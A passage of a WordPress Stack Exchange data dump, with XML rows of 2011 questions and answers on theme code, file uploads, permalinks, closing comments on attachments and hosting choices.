  <row Id="15733" PostTypeId="2" ParentId="15688" CreationDate="2011-04-27T10:27:05.787" Score="1" ViewCount="" Body="&lt;p&gt;Put this into your &lt;em&gt;functions.php&lt;/em&gt; file in your theme folder...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function query_set_only_author( $wp_query ) {&#xA;    global $current_user;&#xA;    if ( is_admin() &amp;amp;&amp;amp; !current_user_can('manage_options') ) {&#xA;        $wp_query-&amp;gt;set( 'author', $current_user-&amp;gt;ID );&#xA;    }&#xA;}&#xA;add_action('pre_get_posts', 'query_set_only_author' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2011-04-27T10:27:05.787" CommentCount="1" />
  <row Id="15734" PostTypeId="2" ParentId="15562" CreationDate="2011-04-27T10:28:01.557" Score="1" ViewCount="" Body="&lt;p&gt;I can only think of a few good reasons a plugin would need to create a file.  One is to back up complicated options that the user can export and download to move to a new site.  The other is a sitemap plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your plugin has template files that the user can customize you should give the user the option to move the customized file to the current theme directory so when your plugin updates they won't be overwritten.  You can try to load the files from the theme directory first then fall back to your plugin directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gravity Forms stores form uploaded files in its own folder inside of uploads.  W3 Total Cache uses wp-content, login redirect uses the method I described above.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-27T10:28:01.557" />
  <row Id="15735" PostTypeId="2" ParentId="15645" CreationDate="2011-04-27T10:36:04.960" Score="0" ViewCount="" Body="&lt;p&gt;For storage: you can upload up to &lt;a href=&quot;http://en.support.wordpress.com/space-upgrade/&quot; rel=&quot;nofollow&quot;&gt;3 gigabytes of attachments for free&lt;/a&gt;, and can pay for upgrades after that. I think post content has no limit (and it would be very hard to reach 3 gigabytes with post content alone).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-27T10:36:04.960" />
  <row Id="15736" PostTypeId="2" ParentId="7554" CreationDate="2011-04-27T11:05:28.357" Score="2" ViewCount="" Body="&lt;p&gt;Loop over the &lt;code&gt;$_FILES&lt;/code&gt; array and add each file separately. I don’t have a complete code example at hand, just an excerpt from my theme options class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Saves uploaded files in media library and the corresponding id in option field.&#xA; *&#xA; * @return void&#xA; */&#xA;protected function handle_uploads()&#xA;{&#xA;    if ( ! isset ( $_FILES ) or empty ( $_FILES ) )&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    foreach ( $_FILES as $file_key =&amp;gt; $file_arr )&#xA;    {&#xA;        // Some bogus upload.&#xA;        if ( ! isset ( $this-&amp;gt;fields[$file_key] )&#xA;            or empty ( $file_arr['type'] )&#xA;        )&#xA;        {&#xA;            continue;&#xA;        }&#xA;&#xA;        if ( ! $this-&amp;gt;is_allowed_mime( $file_key, $file_arr ) )&#xA;        {&#xA;            set_theme_mod( $file_key . '_error', 'wrong mime type' );&#xA;            continue;&#xA;        }&#xA;&#xA;        // The file is allowed, no error until now and the type is correct.&#xA;        $uploaded_file = wp_handle_upload(&#xA;            $file_arr&#xA;        ,   array( 'test_form' =&amp;gt; FALSE )&#xA;        );&#xA;&#xA;        // error&#xA;        if ( isset ( $uploaded_file['error'] ) )&#xA;        {&#xA;            set_theme_mod( $file_key . '_error', $uploaded_file['error'] );&#xA;            continue;&#xA;        }&#xA;&#xA;        // add the file to the media library&#xA;&#xA;        // Set up options array to add this file as an attachment&#xA;        $attachment = array(&#xA;            'post_mime_type' =&amp;gt; $uploaded_file['type']&#xA;        ,   'post_title'     =&amp;gt; $this-&amp;gt;get_media_name(&#xA;                                    $file_key, $uploaded_file['file']&#xA;                                )&#xA;        );&#xA;&#xA;        // Adds the file to the media library and generates the thumbnails.&#xA;        $attach_id = wp_insert_attachment(&#xA;            $attachment&#xA;        ,   $uploaded_file['file']&#xA;        );&#xA;&#xA;        $this-&amp;gt;create_upload_meta( $attach_id, $uploaded_file['file'] );&#xA;&#xA;        // Update the theme mod.&#xA;        set_theme_mod( $file_key, $attach_id );&#xA;        remove_theme_mod( $file_key . '_error' );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;handle_uploads()&lt;/code&gt; is called by &lt;code&gt;save_options()&lt;/code&gt; from the same class. &lt;code&gt;is_allowed_mime()&lt;/code&gt; guarantees that I get only file the types I need, and &lt;code&gt;get_media_name()&lt;/code&gt; looks for a special predefined name for the file (»Logo«, »bg-body« etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, it isn’t that hard. Just use the build-in API, not the code from your &lt;code&gt;upload-file.php&lt;/code&gt;. There are many, many edge cases which WordPress will handle better than your plain &lt;code&gt;move_uploaded_file()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-27T11:05:28.357" />
  <row Id="15737" PostTypeId="1" AcceptedAnswerId="15738" CreationDate="2011-04-27T11:21:17.493" Score="0" ViewCount="121" Body="&lt;p&gt;How significant is the guid field in wp_posts? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing a migration and adding a lot of images to the table (via &lt;code&gt;wp_insert_attachment, wp_generate_attachment_metadata and wp_update_attachment_metadata&lt;/code&gt;), but the guid field isn't filled by default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should i correct this?&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-27T11:28:03.323" Title="GUID field in wp_posts - relevance for attachments?" Tags="&lt;attachments&gt;&lt;guid&gt;" AnswerCount="1" />
  <row Id="15738" PostTypeId="2" ParentId="15737" CreationDate="2011-04-27T11:28:03.323" Score="1" ViewCount="" Body="&lt;p&gt;If you want to offer an ATOM feed for your attachments you should pass a GUID to &lt;code&gt;wp_insert_attachment()&lt;/code&gt; or add a filter for &lt;code&gt;'get_the_guid'&lt;/code&gt; that handles empty values. In most (all?) other cases I wouldn’t care about it.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-27T11:28:03.323" />
  <row Id="15739" PostTypeId="2" ParentId="15719" CreationDate="2011-04-27T11:48:50.377" Score="1" ViewCount="" Body="&lt;p&gt;You can hook into &lt;a href=&quot;http://jqueryui.com/demos/sortable/#event-stop&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;sortstop&lt;/code&gt; event&lt;/a&gt; of the &lt;code&gt;sortable&lt;/code&gt; metaboxes, and read the current state:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery( function( $ ) {&#xA;    $( '.meta-box-sortables' ).bind( 'sortstop', function( event, ui ) {&#xA;        var sortData = {};&#xA;        $('.meta-box-sortables').each( function() {&#xA;            sortData[this.id.split('-')[0]] = $(this).sortable( 'toArray' );&#xA;        } );&#xA;        console.log( sortData );&#xA;    } );&#xA;} );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also hook into the events that hide or reveal metaboxes, but this requires some more work on your side, since WordPress does not provide nice events for this. See &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-admin/js/postbox.dev.js&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;postbox.js&lt;/code&gt; script&lt;/a&gt; for more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3610/how-to-manage-ajax-calls-and-json-in-wordpress/3612#3612&quot;&gt;other answers on this site that deal with the Ajax part&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-27T11:48:50.377" />
  <row Id="15740" PostTypeId="2" ParentId="15699" CreationDate="2011-04-27T12:06:35.000" Score="0" ViewCount="" Body="&lt;p&gt;I used a site called blogbooker.com once to pdf my whole site..... it worked pretty well&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-27T12:06:35.000" CommentCount="3" />
  <row Id="15741" PostTypeId="1" CreationDate="2011-04-27T12:17:49.010" Score="0" ViewCount="94" Body="&lt;p&gt;I can get content from a specific page using a page option id.  It works great but I have a problem when I get content from a page with a custom page template.  It doesn't get any content .. The code I use is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            $my_id = of_get_option('select_costum');&#xA;        $post_id = get_post($my_id);&#xA;        $content = $post_id-&amp;gt;post_content;&#xA;        $content = apply_filters('the_content', $content);&#xA;        $content = str_replace(']]&amp;gt;', ']]&amp;gt;', $content);&#xA;        echo $content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2640" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-27T22:59:06.663" LastActivityDate="2011-04-27T22:59:06.663" Title="Get content from a specific page including pages with a custom page template" Tags="&lt;pages&gt;&lt;get-posts&gt;&lt;theme-options&gt;" CommentCount="1" />
  <row Id="15742" PostTypeId="1" CreationDate="2011-04-27T13:04:58.440" Score="1" ViewCount="50" Body="&lt;p&gt;My permalink settings is simply &lt;code&gt;/%postname%/&lt;/code&gt; (yes I read from the codex that this is bad performance practice). The result is: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a page url might look like &lt;code&gt;site.com/pagename&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;a blog post looks like &lt;code&gt;site.com/post-title&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;a portfolio (custom post type) post will look like &lt;code&gt;site.com/portfolio/item-1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would like my blog post page (&lt;code&gt;single.php&lt;/code&gt;) to have a URL like &lt;code&gt;site.com/blog/post-title&lt;/code&gt;. How might I do that?&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-04-27T14:04:29.007" Title="How to prepend route with /blog for blog listing page only" Tags="&lt;url-rewriting&gt;" AnswerCount="1" />
  <row Id="15743" PostTypeId="1" CreationDate="2011-04-27T13:19:02.823" Score="0" ViewCount="159" Body="&lt;p&gt;I am trying to alter my query_posts.  My homepage is currently displaying all posts from all categories at random (posts_per_page =&gt;16)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, one of my categories is advertisements and I want to only show 2 advertisements per page.  I want to keep the randomness, but sometimes I get way to many ads returned.  I want to limit it to 1 or 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I say get all posts from all categories but only 2 posts from category x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4929" LastActivityDate="2011-04-27T15:44:51.830" Title="show x number of posts from y category on homepage" Tags="&lt;query-posts&gt;" AnswerCount="2" />
  <row Id="15744" PostTypeId="2" ParentId="15743" CreationDate="2011-04-27T13:26:35.170" Score="2" ViewCount="" Body="&lt;p&gt;That sounds outside the scope of what you're going to get from query_posts. If you have a custom template for your home page and you want to sprinkle in advertisement posts I would change the query_posts() that excludes the advertisement category, do a separate get_posts() for 2 posts in the advertisement category, and then put them after the fourth and eighth (or something like that) non-advertisement posts in the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way would be to increase your posts_per_page by a few and count each advertisement post as you display it in the loop. If any come up after the second one, just skip them.&lt;/p&gt;&#xA;" OwnerUserId="1313" LastActivityDate="2011-04-27T13:26:35.170" CommentCount="1" />
  <row Id="15745" PostTypeId="1" AcceptedAnswerId="15746" CreationDate="2011-04-27T13:44:10.920" Score="0" ViewCount="15" Body="&lt;p&gt;I am being forced to use a SOAP service on a site, and for some of the UI elements it is calling images that I have to put in place. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't point them to a theme folder, as I have no control over the HTML, and I am reluctant to use javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the code points to &lt;code&gt;&amp;lt;img src=&quot;images/image.jpg&quot; &amp;gt;&lt;/code&gt;, I have tried adding an images folder to the root of my WP installation, to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is where should I put the image so that the HTML can find it?&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-04-27T13:51:49.350" Title="where is images/image.jpg?" Tags="&lt;images&gt;&lt;html&gt;&lt;folder-structure&gt;" AnswerCount="1" />
  <row Id="15746" PostTypeId="2" ParentId="15745" CreationDate="2011-04-27T13:51:49.350" Score="0" ViewCount="" Body="&lt;p&gt;The plugin is search for an 'images' folder inside the current working directory. For example if you are in &lt;code&gt;/blogs/&lt;/code&gt;, a file looking for &lt;code&gt;images/image.jpg&lt;/code&gt; is actually looking for &lt;code&gt;/blogs/images/image.jpg&lt;/code&gt;. This can obviously get &lt;em&gt;very&lt;/em&gt; messy when re-writing URLs with stuff like &lt;code&gt;/2010/03/blog-title&lt;/code&gt; so actually put an image in the specific location is impossible, you will need to edit HTML or at least .htaccass to resolve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look up: &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; tag, mod-rewrites, javascript or editing whatever plugin is creating that HTML (str_replace on the output?). Personally I think you need to look into filtering the HTML you're receiving from the SOAP service to clear that up.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-04-27T13:51:49.350" />
  <row Id="15747" PostTypeId="2" ParentId="14893" CreationDate="2011-04-27T13:57:24.283" Score="2" ViewCount="" Body="&lt;p&gt;Why don't you use something like &lt;a href=&quot;http://wordpress.org/extend/plugins/download-monitor/&quot; rel=&quot;nofollow&quot;&gt;WordPress Download Monitor&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-04-27T13:57:24.283" CommentCount="2" />
  <row Id="15748" PostTypeId="2" ParentId="15742" CreationDate="2011-04-27T14:04:29.007" Score="2" ViewCount="" Body="&lt;p&gt;Change your permalink structure to &lt;code&gt;/blog/%postname%/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To get your custom post type to leave out the &lt;code&gt;/blog&lt;/code&gt; part, in its registration arguments array, set the rewrite argument like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'portfolio', 'with_front' =&amp;gt; false )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-27T14:04:29.007" />
  <row Id="15749" PostTypeId="2" ParentId="15723" CreationDate="2011-04-27T14:08:07.830" Score="2" ViewCount="" Body="&lt;p&gt;Please don't forget about the forums!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's where most new people go for help, and we always need more help over there answering questions!&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-27T14:08:07.830" />
  <row Id="15750" PostTypeId="1" AcceptedAnswerId="15751" CreationDate="2011-04-27T14:20:23.373" Score="3" ViewCount="147" Body="&lt;p&gt;I consistently get spam attempts on various and sundry media attachments on my primary WP blog. By default, media has open comments (for instance, &lt;a href=&quot;http://literalbarrage.org/blog/archives/2009/03/18/daddywill-date-march-2009/dsc08760/&quot; rel=&quot;nofollow&quot;&gt;http://literalbarrage.org/blog/archives/2009/03/18/daddywill-date-march-2009/dsc08760/&lt;/a&gt;), yet there is no native way to disable comments on media files. (e.g. &lt;a href=&quot;https://skitch.com/zamoose/rhktp/attachmentedit&quot; rel=&quot;nofollow&quot;&gt;https://skitch.com/zamoose/rhktp/attachmentedit&lt;/a&gt;)&#xA;&lt;img src=&quot;http://i.stack.imgur.com/VAkbz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I disable all comments for future uploads by default?&lt;/li&gt;&#xA;&lt;li&gt;How do I retroactively disable comments on all previous uploads?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will help a &lt;em&gt;ton&lt;/em&gt; in reducing my incoming spam...&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-04-27T15:09:02.123" Title="What's the easiest way to close comments on media/attachments?" Tags="&lt;comments&gt;&lt;admin&gt;&lt;media&gt;&lt;spam&gt;" AnswerCount="1" />
  <row Id="15751" PostTypeId="2" ParentId="15750" CreationDate="2011-04-27T14:25:15.797" Score="2" ViewCount="" Body="&lt;p&gt;This ought to do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse15750_comment_check( $id ){&#xA;    if( get_post_type( $id ) == 'attachment' )&#xA;        exit;&#xA;}&#xA;&#xA;add_action( 'pre_comment_on_post', 'wpse15750_comment_check' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Ignore the above. That will stop new comments, but to do what you want, this is much better:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse15750_comments_closed( $open, $id ){&#xA;    if( get_post_type( $id ) == 'attachment' )&#xA;        return false;&#xA;    return $open;&#xA;}&#xA;&#xA;add_action( 'pre_comment_on_post', 'wpse15750_comments_closed', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will tell WordPress that attachments always have closed comments, but their database values will still say 'open'. If you want to change that, run the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$wpdb-&amp;gt;update( $wpdb-&amp;gt;posts, array( 'comment_status' =&amp;gt; 'closed' ), array( 'post_type' =&amp;gt; 'attachments', 'comment_status' =&amp;gt; 'open' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To prevent any future attachments from having open comments, use the following filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse15750_no_attachment_comments( $data ){&#xA;    if( $data['post_type'] == 'attachment' )&#xA;        $data['comment_status'] = 'closed';&#xA;    return $data;&#xA;}&#xA;&#xA;add_filter( 'wp_insert_post_data', 'wpse15750_no_attachment_comments' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-04-27T15:09:02.123" LastActivityDate="2011-04-27T15:09:02.123" CommentCount="3" />
  <row Id="15752" PostTypeId="2" ParentId="14893" CreationDate="2011-04-27T14:31:09.307" Score="1" ViewCount="" Body="&lt;p&gt;if you use static page to show the blog post, add the wyck's code to template that used for that page.&lt;/p&gt;&#xA;" OwnerUserId="4932" LastActivityDate="2011-04-27T14:31:09.307" CommentCount="1" />
  <row Id="15754" PostTypeId="2" ParentId="15639" CreationDate="2011-04-27T14:42:14.230" Score="1" ViewCount="" Body="&lt;p&gt;OK.  So I think I figured this one out myself.  I'll document it here for the sake of those who may fall into the same trap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using a template file to structure my feed.  In my &lt;code&gt;functions.php&lt;/code&gt; file, this is what the relevant portions of code looked like before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_feed('weekly_deals', 'weekly_deals_create_feed');&#xA;function weekly_deals_create_feed(){&#xA;    # for the sake of cleanliness, simply include a template file here&#xA;    include get_template_directory() . &quot;/weekly-deals-rss.php&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Via random Googling, I discovered to do this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_feed('weekly_deals', 'weekly_deals_create_feed');&#xA;function weekly_deals_create_feed(){&#xA;    # for the sake of cleanliness, simply include a template file here&#xA;    load_template(get_template_directory() . &quot;/weekly-deals-rss.php&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The latter works, while the former simply doesn't.  Apparently Wordpress somehow destroys (or otherwise makes unavailable) all of the environment data when using &lt;code&gt;include&lt;/code&gt; for templates like I did above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Live and learn :/&lt;/p&gt;&#xA;" OwnerUserId="4758" LastActivityDate="2011-04-27T14:42:14.230" />
  <row Id="15755" PostTypeId="1" AcceptedAnswerId="15756" CreationDate="2011-04-27T14:45:02.077" Score="2" ViewCount="96" Body="&lt;p&gt;I've been hosting my blog on WordPress.com for a few years now, but am starting to feel a bit constrained by some of the limitations. The most troublesome in priority order are inability to include JavaScript in my posts, the requirement to pay an ongoing fee for customized CSS, and inability to install my own WP plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've thought about self-hosting, but the last thing I need is another side project of managing the blogging software. It's tough enough finding time to keep posting new content on the blog. I'm not interested in installing upgrades, doing backups, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short, I am wondering if there is another Wordpress hosting provider out there that offers the benefits of the virtually maintenance free hosting of WordPress.com, but without the restriction on CSS and Javasscript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="4933" LastActivityDate="2011-04-27T15:00:07.033" Title="Hosting alternatives to WordPress.com" Tags="&lt;hosting&gt;" AnswerCount="1" />
  <row Id="15756" PostTypeId="2" ParentId="15755" CreationDate="2011-04-27T15:00:07.033" Score="4" ViewCount="" Body="&lt;p&gt;Have a look at &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://page.ly&quot; rel=&quot;nofollow&quot;&gt;page.ly&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpengine.com&quot; rel=&quot;nofollow&quot;&gt;WP Engine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm sure there are plenty of others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm specifically discounting hosts that provide 1-click installs because even they require some administration.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-27T15:00:07.033" CommentCount="1" />
  <row Id="15758" PostTypeId="1" AcceptedAnswerId="26985" CreationDate="2011-04-27T15:25:09.637" Score="3" ViewCount="151" Body="&lt;p&gt;Can you add the visual editor to the description field for custom taxonomies? It would be nice to have this option available when you edit an entry for a taxonomy be it core or custom.&lt;/p&gt;&#xA;" OwnerUserId="3736" LastActivityDate="2011-08-26T18:18:07.100" Title="Can you add the visual editor to the description field for custom taxonomies?" Tags="&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;tinymce&gt;&lt;visual-editor&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="15759" PostTypeId="2" ParentId="15743" CreationDate="2011-04-27T15:44:51.830" Score="0" ViewCount="" Body="&lt;p&gt;Do it in your loop - check each post for the category it comes from. Keep a counter for this and when this reaches it limit do not show anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could do two queries and merge them:&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/multiple-queries-compiling-into-one-loop?replies=5#post-1920638&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/multiple-queries-compiling-into-one-loop?replies=5#post-1920638&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure how this would affect the ordering of the posts.&lt;/p&gt;&#xA;" OwnerUserId="4011" LastActivityDate="2011-04-27T15:44:51.830" />
  <row Id="15760" PostTypeId="1" AcceptedAnswerId="15762" CreationDate="2011-04-27T15:48:05.980" Score="0" ViewCount="32" Body="&lt;p&gt;Is there documentation somewhere on how to change the default data that is entered into the WordPress database when setting up a new database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change the default category and add a couple others. Change the default post. Set a different theme, activate a couple plugins all by default. All of this to make it easy for setting up multiple sites that are all similar.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditorDisplayName="" LastEditDate="2011-04-27T15:54:43.790" LastActivityDate="2011-04-27T16:05:19.337" Title="Change the default data installed when setting up WordPress" Tags="&lt;database&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="15761" PostTypeId="1" AcceptedAnswerId="15763" CreationDate="2011-04-27T15:56:43.180" Score="0" ViewCount="107" Body="&lt;p&gt;I am using developing a child theme for Woothemes' Canvas. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to use functions.php in the child theme to only use actions on my custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code doesn't seem to be working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_action( 'woo_post_inside_after', 'my_geo_mashup' );&#xA;function my_geo_mashup() {&#xA;       echo GeoMashup::map();&#xA;    if ($post-&amp;gt;post_type == 'listings') {&#xA;        //My function&#xA;       }&#xA;}&#xA;&#xA;add_action( 'woo_post_inside_before', 'listings_nivo' );&#xA;function listings_nivo() {&#xA;echo do_shortcode('[nivo source=&quot;current-post&quot; ]');&#xA; if ($post-&amp;gt;post_type == 'listings') {&#xA;        //My function&#xA;       }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I'm unsure how to get the above to work properly and only show these items on the custom post type, or only for the custom post type template single-listings.php (as I only want the map and slider to show on the actual post, not on the blog page (archive.php)&lt;/p&gt;&#xA;" OwnerUserId="4902" LastActivityDate="2011-04-27T16:16:09.437" Title="Custom post type functions.php if statement on action" Tags="&lt;custom-post-types&gt;&lt;functions&gt;&lt;customization&gt;&lt;actions&gt;" AnswerCount="1" />
  <row Id="15762" PostTypeId="2" ParentId="15760" CreationDate="2011-04-27T16:05:19.337" Score="2" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1714/initialization-script-for-standard-aspects-of-a-wordpress-website&quot;&gt;Initialization Script for “Standard” Aspects of a WordPress Website?&lt;/a&gt; and my plugin &lt;a href=&quot;https://github.com/toscho/WordPress-Basic-Settings&quot; rel=&quot;nofollow&quot;&gt;WordPress Basic Settings&lt;/a&gt; for details. You may also use a custom &lt;code&gt;install.php&lt;/code&gt; but that’s somewhat tricky for multi-site setups.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-27T16:05:19.337" />
  <row Id="15763" PostTypeId="2" ParentId="15761" CreationDate="2011-04-27T16:16:09.437" Score="0" ViewCount="" Body="&lt;p&gt;you need a &lt;code&gt;global $post;&lt;/code&gt; within that function before trying to access the contents of $post.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-27T16:16:09.437" />
  <row Id="15764" PostTypeId="1" AcceptedAnswerId="15765" CreationDate="2011-04-27T16:35:18.710" Score="2" ViewCount="208" Body="&lt;p&gt;On &lt;a href=&quot;http://wordpress.barrycarter.info/index.php/page/7/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.barrycarter.info/index.php/page/7/&lt;/a&gt; I disabled &#xA;comments for &quot;USDCAD options vs CADUSD options arbitrage?&quot;, but it &#xA;still has a &quot;Leave a Comment&quot; link. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking the link takes you to &#xA;&lt;a href=&quot;http://wordpress.barrycarter.info/index.php/2011/02/25/usdcad-options-vs-cadusd-options-arbitrage-2/#respond&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.barrycarter.info/index.php/2011/02/25/usdcad-options-vs-cadusd-options-arbitrage-2/#respond&lt;/a&gt; &#xA;where it, of course, shows that you can't leave a comment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The timeline page correctly does not show the 'comment' link: &lt;a href=&quot;http://wordpress.barrycarter.info/index.php/2011/02/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.barrycarter.info/index.php/2011/02/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to fix? &lt;/p&gt;&#xA;" OwnerUserId="4849" LastActivityDate="2011-07-31T06:11:37.747" Title="&quot;Leave a comment&quot; link even when you can't" Tags="&lt;comments&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="15765" PostTypeId="2" ParentId="15764" CreationDate="2011-04-27T16:55:05.057" Score="3" ViewCount="" Body="&lt;p&gt;In the &lt;code&gt;loop.php&lt;/code&gt; template file, you will find this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;comments-link&quot;&amp;gt;&amp;lt;?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't want &quot;leave a comment&quot; to display if comments are closed, you can wrap the call to &lt;code&gt;comments_popup_link()&lt;/code&gt; in a &lt;code&gt;if ( comments_open() )&lt;/code&gt; conditional, like such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;comments-link&quot;&amp;gt;&amp;lt;?php if ( comments_open() ) comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); 